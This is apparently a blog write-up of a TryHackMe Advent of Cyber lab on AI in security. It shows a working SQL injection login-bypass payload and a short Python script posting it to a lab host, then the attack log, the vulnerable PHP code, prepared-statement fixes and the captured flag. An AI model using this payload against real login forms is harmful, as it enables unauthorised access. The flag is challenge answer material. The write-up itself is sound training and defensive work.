Old sAInt Nick: When AI Meets Cyber Security

The AI Revolution in Security

Let's be honest—"AI" has become the buzzword that won't quit. But here's the thing: when it comes to cybersecurity, AI isn't just hype. It's actually solving real problems. After spending time with Van SolveIT in this TryHackMe challenge, I got a front-row seat to see AI flex its muscles across three critical security domains.

Why AI Actually Makes Sense in Security

Before we dive into the technical fun, let's talk about why AI has found a genuine home in cybersecurity:

• Data Overload: Security teams drown in logs, alerts, and telemetry. AI can process this tsunami of data faster than any human.

• Pattern Recognition: AI excels at spotting anomalies—that weird login at 3 AM or unusual network traffic patterns.

• Speed: When attackers move fast, defenders need to move faster. AI doesn't need coffee breaks.

The Three-Stage Challenge

This challenge brilliantly showcased AI across three security perspectives: Red Team (offensive), Blue Team (defensive), and Software Security. Let's break down each one.

Red Team: SQL Injection Made Easy

The Challenge

The first stage involved using Van SolveIT to generate a Python exploit for a SQL injection vulnerability. The AI assistant didn't just hand over a script—it explained the vulnerability and provided clear instructions.

The Technical Breakdown

Here's the vulnerability in a nutshell: The login form accepted unsanitized input, making it vulnerable to the classic SQL injection payload:

username = "alice' OR 1=1 -- -" password = "test"

What's happening here?

1. The single quote (') closes the username string in the SQL query

2. OR 1=1 always evaluates to true, bypassing authentication

3. -- - comments out the rest of the SQL query, including the password check

The AI-generated exploit was elegant:

import requests username = "alice' OR 1=1 -- -" password = "test" url = "http://MACHINE_IP:5000/login.php" payload = { "username": username, "password": password } response = requests.post(url, data=payload) print("Response Status Code:", response.status_code) print(response.text)

When executed, this bypassed authentication completely and revealed the flag: THM{SQLI_EXPLOIT}

The AI Advantage

What impressed me was how the AI didn't just spit out code. It explained:

• Where to save the file

• How to run it

• What the vulnerability was

• Why the attack worked

This is AI as a teaching tool, not just an automation engine.

Blue Team: Log Analysis and Threat Detection

The Challenge

After exploiting the vulnerability, we switched hats and used the AI to analyze the attack logs from the blue team perspective. This is where AI really shines—making sense of cryptic log entries.

The Technical Breakdown

Here's the log entry from our attack:

198.51.100.22 - - [03/Oct/2025:09:03:11 +0100] "POST /login.php HTTP/1.1" 200 642 "-" "python-requests/2.31.0" "username=alice%27+OR+1%3D1+--+-&password=test"

Decoding the evidence:

1. IP Address: 198.51.100.22 - The attacker's origin

2. Timestamp: 03/Oct/2025:09:03:11 - When the attack occurred

3. HTTP Method: POST to /login.php - The target endpoint

4. Status Code: 200 - Success! (Bad news for defenders)

5. User Agent: python-requests/2.31.0 - Automated script, not a browser

6. The Smoking Gun: URL-encoded SQL injection payload in the parameters

The AI broke this down beautifully, explaining:

• What each component meant

• Why the pattern was suspicious

• How to detect similar attacks

• What defensive measures should be implemented

Real-World Application

In production environments, security teams face thousands of log entries per second. AI assistants can:

• Flag suspicious patterns automatically

• Correlate events across multiple sources

• Provide context for investigations

• Suggest remediation steps

This isn't just theoretical—many Security Operations Centers (SOCs) are already using AI-powered SIEM tools for exactly this purpose.

Software Security: Code Review Automation

The Challenge

The final stage involved analyzing the vulnerable PHP code to understand why the SQL injection was possible in the first place.

The Technical Breakdown

Here's the problematic code:

$user = $_POST['username'] ?? ''; $pass = $_POST['password'] ?? '';

The vulnerability explained:

The ?? operator provides default values (empty strings) but performs zero validation or sanitization. The user input flows directly into a SQL query without any checks, making it a textbook SQL injection vulnerability.

What Should Have Been Done

The AI provided excellent remediation advice:

1. Use Prepared Statements:

$stmt = $pdo->prepare('SELECT * FROM users WHERE username = ? AND password = ?'); $stmt->execute([$username, $password]);

2. Input Validation:

$username = filter_input(INPUT_POST, 'username', FILTER_SANITIZE_STRING);

3. Parameterized Queries: Separate data from SQL commands completely

4. Security Testing Tools: SQLMap, static analysis tools, and code review practices

The Bigger Picture

AI-powered code analysis tools (SAST/DAST) are becoming standard in DevSecOps pipelines. They can:

• Scan code for vulnerabilities before deployment

• Suggest fixes with context

• Learn from previous mistakes

• Integrate into CI/CD workflows

The Reality Check: AI Isn't Magic

While Van SolveIT was impressive, the challenge rightfully highlighted important considerations:

The Good

• Speed: AI handles tedious tasks lightning-fast

• Consistency: Won't miss obvious patterns due to fatigue

• Scalability: Can process data volumes no human team could manage

The Concerns

• False Confidence: AI can be wrong, and confidently so

• Context Blindness: May miss nuanced situations requiring human judgment

• Tool Misuse: An AI-generated exploit could DOS a production system

• Data Privacy: What information is the AI trained on?

• Accountability: Who's responsible when AI makes a mistake?

Best Practices for AI in Security

1. Verify, Don't Trust: Always validate AI output

2. Human in the Loop: Critical decisions need human oversight

3. Controlled Environments: Test AI-generated exploits safely

4. Data Handling: Be cautious with sensitive information

5. Continuous Learning: AI needs regular updates and retraining

Key Takeaways

This TryHackMe challenge brilliantly demonstrated that AI in cybersecurity isn't about replacement—it's about augmentation. AI handles the grunt work (log analysis, pattern matching, code scanning), freeing humans to do what they do best: creative problem-solving, strategic thinking, and making judgment calls.

What I Learned:

1. AI as a Teaching Tool: Van SolveIT didn't just give answers; it explained concepts

2. Multi-Perspective Security: Seeing the same vulnerability through red, blue, and developer lenses was invaluable

3. Practical Application: These aren't theoretical uses—organizations are deploying these AI capabilities now

4. Responsible Use: With great AI power comes great responsibility (yes, I went there)

Try It Yourself

If you want to experience Van SolveIT firsthand, head over to TryHackMe's Advent of Cyber and tackle Day 4. It's hands-on, interactive, and genuinely fun.

Flags Captured:

• Showcase Completion: Complete all three stages

• Red Team Flag: THM{SQLI_EXPLOIT} (from successful exploitation)

Final Thoughts

As someone who just completed this challenge, I'm both excited and cautious about AI in security. Excited because the productivity gains are real. Cautious because blind trust in AI is dangerous.

The future of cybersecurity isn't human OR AI—it's human AND AI, working together. Van SolveIT proved that AI can be an incredible assistant, teacher, and force multiplier. But it's still just that: an assistant.

The elves at TBFC might have their AI helper, but they're still the ones making the magic happen. And that's exactly how it should be.

Have you used AI in your security work? What's your experience been? Drop your thoughts in the comments below!

Stay curious, stay secure, and happy hacking!

Resources

• TryHackMe Advent of Cyber

• Defending Adversarial Attacks Room

• OWASP SQL Injection Guide

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